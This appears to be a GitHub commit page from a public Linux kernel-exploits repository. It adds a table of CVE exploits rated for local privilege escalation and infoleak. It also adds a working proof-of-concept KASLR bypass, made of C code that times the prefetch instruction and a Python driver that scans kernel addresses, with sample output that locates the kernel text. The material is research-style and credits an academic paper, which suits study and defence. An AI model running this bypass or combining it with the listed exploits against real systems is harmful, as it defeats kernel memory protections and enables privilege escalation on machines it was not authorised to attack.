Skip to content

Commit 48e1169

Browse files
committed
Add info table and move prefetch exploit
1 parent b1fc029 commit 48e1169

File tree

4 files changed

+217
-11
lines changed

4 files changed

+217
-11
lines changed

README.md

Lines changed: 9 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -1,14 +1,12 @@
11
kernel-exploits
22
===============
33

4-
[CVE-2016-2384](https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-2384): a double-free in USB MIDI driver
5-
6-
[CVE-2016-9793](https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-9793): a signedness issue with SO\_SNDBUFFORCE and SO\_RCVBUFFORCE socket options
7-
8-
[CVE-2017-6074](https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074): a double-free in DCCP protocol
9-
10-
[CVE-2017-7308](https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-7308): a signedness issue in AF\_PACKET sockets
11-
12-
[CVE-2017-1000112](https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-1000112): a memory corruption due to UFO to non-UFO path switch
13-
14-
[CVE-2017-18344](https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-18344): arbitrary-read vulnerability in the timer subsystem
4+
| Date | Link | Description | Vector | Impact |
5+
| --- | --- | --- | --- | --- |
6+
| 02.2016 | [CVE-2016-2384](https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-2384) | double-free in USB MIDI driver | Physical + Local | LPE |
7+
| 03.2016 | [prefetch-side-channel](https://github.com/xairy/kernel-exploits/tree/master/prefetch-side-channel) | KASLR bypass via prefetch | Local | Infoleak |
8+
| 12.2016 | [CVE-2016-9793](https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-9793) | signedness issue with socket buffers | Local + cap\_net\_admin | LPE |
9+
| 02.2017 | [CVE-2017-6074](https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074) | double-free in DCCP protocol | Local | LPE |
10+
| 03.2017 | [CVE-2017-7308](https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-7308) | signedness issue in AF\_PACKET sockets | Local | LPE |
11+
| 08.2017 | [CVE-2017-1000112](https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-1000112) | memory corruption UDP FO code | Local | LPE |
12+
| 08.2018 | [CVE-2017-18344](https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-18344) | arbitrary-read in the timer subsystem | Local | Infoleak |

prefetch-side-channel/README.md

Lines changed: 75 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,75 @@
1+
KASLR bypass via prefetch side-channel
2+
======================================
3+
4+
Note: dilettante implementation, better read [the original paper](https://gruss.cc/files/prefetch.pdf).
5+
6+
This is a proof-of-concept exploit for a KASLR bypass for the Linux kernel via timing the prefetch instruction.
7+
Inspired by [a blogpost by Anders Fogh](http://dreamsofastone.blogspot.ru/2016/02/breaking-kasrl-with-micro-architecture.html).
8+
9+
The exploit works by measuring the time required to prefetch a particular address in the kernel space.
10+
The idea is that a prefetch instruction is faster on virtual addresses which actually map to a page.
11+
The used measuring approach is kind of best effort, but seems to be working.
12+
See the source code for details.
13+
14+
The exploit was tested on a machine with Intel Core i7-4510 running Ubuntu 15.10 with 4.2.0-16-generic kernel and KASLR enabled.
15+
Other setups might require other threshold values or a different number of measuring steps for the exploit to work.
16+
I'd guess that it might not work at all for some CPUs.
17+
18+
Since [the KASLR for the Linux kernel is not really that random](https://lwn.net/Articles/569635/), the number of slots for the kernel text is quite limited, which allows to figure out the text location in a reasonable time.
19+
20+
Usage:
21+
``` bash
22+
$ python poc.py
23+
0xffffffff80000000 0.8125
24+
0xffffffff80000000 rejected
25+
0xffffffff81000000 0.875
26+
0xffffffff81000000 rejected
27+
0xffffffff82000000 0.125
28+
0xffffffff82000000 0.125
29+
0xffffffff82000000 0.625
30+
0xffffffff82000000 rejected
31+
0xffffffff83000000 0.375
32+
0xffffffff83000000 rejected
33+
0xffffffff84000000 0.0625
34+
0xffffffff84000000 0.0
35+
0xffffffff84000000 0.0625
36+
0xffffffff84000000 0.125
37+
0xffffffff84000000 0.0625
38+
0xffffffff84000000 rejected
39+
0xffffffff85000000 0.25
40+
0xffffffff85000000 0.0625
41+
0xffffffff85000000 0.0
42+
0xffffffff85000000 0.25
43+
0xffffffff85000000 0.0625
44+
0xffffffff85000000 rejected
45+
0xffffffff86000000 0.875
46+
0xffffffff86000000 rejected
47+
0xffffffff87000000 0.875
48+
0xffffffff87000000 rejected
49+
0xffffffff88000000 0.375
50+
0xffffffff88000000 rejected
51+
0xffffffff89000000 0.125
52+
0xffffffff89000000 0.9375
53+
0xffffffff89000000 rejected
54+
0xffffffff8a000000 0.3125
55+
0xffffffff8a000000 rejected
56+
0xffffffff8b000000 0.25
57+
0xffffffff8b000000 0.1875
58+
0xffffffff8b000000 0.875
59+
0xffffffff8b000000 rejected
60+
0xffffffff8c000000 0.5625
61+
0xffffffff8c000000 rejected
62+
0xffffffff8d000000 0.0
63+
0xffffffff8d000000 0.0
64+
0xffffffff8d000000 0.0
65+
0xffffffff8d000000 0.0
66+
0xffffffff8d000000 0.0
67+
0xffffffff8d000000 accepted
68+
the kernel is probably at 0xffffffff8d000000
69+
```
70+
71+
You can confirm the kernel text address with:
72+
``` bash
73+
$ sudo cat /proc/kallsyms | grep 'T _text'
74+
ffffffff8d000000 T _text
75+
```

prefetch-side-channel/poc.c

Lines changed: 74 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,74 @@
1+
#include <stdio.h>
2+
3+
// Set a few times higher than L2 size.
4+
#define FLUSH_SIZE 4 * 1024 * 2014
5+
unsigned char mem[FLUSH_SIZE];
6+
7+
inline void flush_cache() {
8+
int i;
9+
10+
for (i = 0; i < FLUSH_SIZE; i++) {
11+
mem[i] = i;
12+
}
13+
}
14+
15+
// You might need to configure these.
16+
#define MAX_MEASURES 128
17+
#define SCORE_MEASURES 16
18+
#define DELAY_THRESHOLD 250
19+
20+
#define ADDR "0xffffffffffffffff"
21+
22+
inline unsigned int measure_once() {
23+
unsigned int lo1, hi1;
24+
unsigned int lo2, hi2;
25+
unsigned int time;
26+
27+
flush_cache();
28+
29+
__asm__ __volatile__ ("rdtsc" : "=a"(lo1), "=d"(hi1));
30+
__asm__ __volatile__ ("prefetcht2 " ADDR);
31+
__asm__ __volatile__ ("rdtsc" : "=a"(lo2), "=d"(hi2));
32+
33+
time = (hi2 - hi1) * 0xffffffff - lo1 + lo2;
34+
return time;
35+
}
36+
37+
inline unsigned int measure_max() {
38+
int i;
39+
unsigned int time;
40+
unsigned int max = 0;
41+
42+
for (i = 0; i < MAX_MEASURES; i++) {
43+
time = measure_once();
44+
if (time > max) {
45+
max = time;
46+
}
47+
}
48+
49+
return max;
50+
}
51+
52+
inline unsigned int measure_score() {
53+
int i;
54+
unsigned int max;
55+
int score = 0;
56+
57+
for (i = 0; i < SCORE_MEASURES; i++) {
58+
max = measure_max();
59+
if (max >= DELAY_THRESHOLD) {
60+
score++;
61+
}
62+
}
63+
64+
return score;
65+
}
66+
67+
int main() {
68+
int score;
69+
70+
score = measure_score();
71+
printf("%f\n", (float)score / SCORE_MEASURES);
72+
73+
return 0;
74+
}

prefetch-side-channel/poc.py

Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
#!/usr/bin/python
2+
3+
import subprocess
4+
5+
# You might need to configure these.
6+
start = 0xffffffff80000000
7+
end = 0xfffffffff0000000
8+
step = 0x0000000001000000
9+
threshold = 0.3
10+
11+
with open('poc.c') as f:
12+
template = f.read()
13+
14+
def measure_score(addr):
15+
test = template[:]
16+
test = test.replace('0xffffffffffffffff', addr)
17+
with open('tmp.c', 'w') as f:
18+
f.write(test)
19+
subprocess.call(['gcc', '-O3', 'tmp.c'])
20+
p = subprocess.Popen('./a.out', shell=False, stdout=subprocess.PIPE)
21+
score = p.stdout.readline().strip()
22+
return float(score)
23+
24+
addrs = []
25+
26+
addr = start
27+
while addr <= end:
28+
addrs.append(addr)
29+
addr += step
30+
31+
# The heuristics used here is: if out of 5 score measures for an address
32+
# all are lower than the threshold and at least 3 measures resulted in 0.0,
33+
# then this address in where the kernel is. Best effort.
34+
35+
for addr in addrs:
36+
str_addr = hex(addr)[:-1]
37+
nulls = 0
38+
rejected = False
39+
40+
for i in xrange(5):
41+
score = measure_score(str_addr)
42+
print str_addr, score
43+
if score > threshold:
44+
rejected = True
45+
break
46+
if score == 0.0:
47+
nulls += 1
48+
49+
if rejected:
50+
print str_addr, 'rejected'
51+
continue
52+
53+
if nulls <= 2:
54+
print str_addr, 'rejected'
55+
continue
56+
57+
print str_addr, 'accepted'
58+
print 'the kernel is probably at', str_addr
59+
break

0 commit comments

Comments
 (0)